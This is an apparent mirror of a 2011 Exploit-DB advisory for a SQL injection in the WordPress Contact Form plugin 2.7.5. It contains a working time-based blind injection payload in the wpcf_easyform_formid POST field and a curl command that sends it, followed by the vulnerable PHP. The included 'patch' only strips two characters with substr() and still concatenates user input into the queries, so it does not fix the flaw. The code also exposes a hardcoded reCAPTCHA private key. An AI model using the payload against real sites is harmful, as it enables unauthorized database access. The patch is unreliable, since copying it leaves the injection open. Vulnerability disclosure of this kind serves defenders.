WordPress Plugin Contact Form 2.7.5 – SQL Injection - 体验盒子

作者： Skraps
日期： 2011-10-14
类别：
webapps
平台：
php
来源：https://www.exploit-db.com/exploits/17980/
# Exploit Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability
# Date: 2011-10-13
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip
# Version: 2.7.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php 
wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
e.g.
curl --data "wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://127.0.0.1/wordpress/?p=1
 
---------------
Vulnerable code
---------------
Line 49:
public function the_content($content) {
global $wpdb;
global $table_name;
global $settings_table_name;

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

$form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

---------------
Patch
---------------

*** ./easy-form.class.php.orig	2011-10-13 19:53:05.674800956 -0400
--- ./easy-form.class.php	2011-10-13 19:51:21.442799615 -0400
***************
*** 54,61 ****
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
! 
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

$continue = true;

--- 54,63 ----
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
!	$wpcf_easyform_formid=$_POST['wpcf_easyform_formid'];
! $wpcf_easyform_formid=substr($wpcf_easyform_formid,2); 
! 
! 	$form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$wpcf_easyform_formid);

$continue = true;

***************
*** 71,80 ****
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
			SELECT *
			FROM $settings_table_name
! 			WHERE form_id = ".$_POST['wpcf_easyform_formid']."
			ORDER BY position
		");
		
--- 73,82 ----
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! 		$form_fields = $wpdb->get_results("
			SELECT *
			FROM $settings_table_name
! 			WHERE form_id = ".$wpcf_easyform_formid."
			ORDER BY position
		");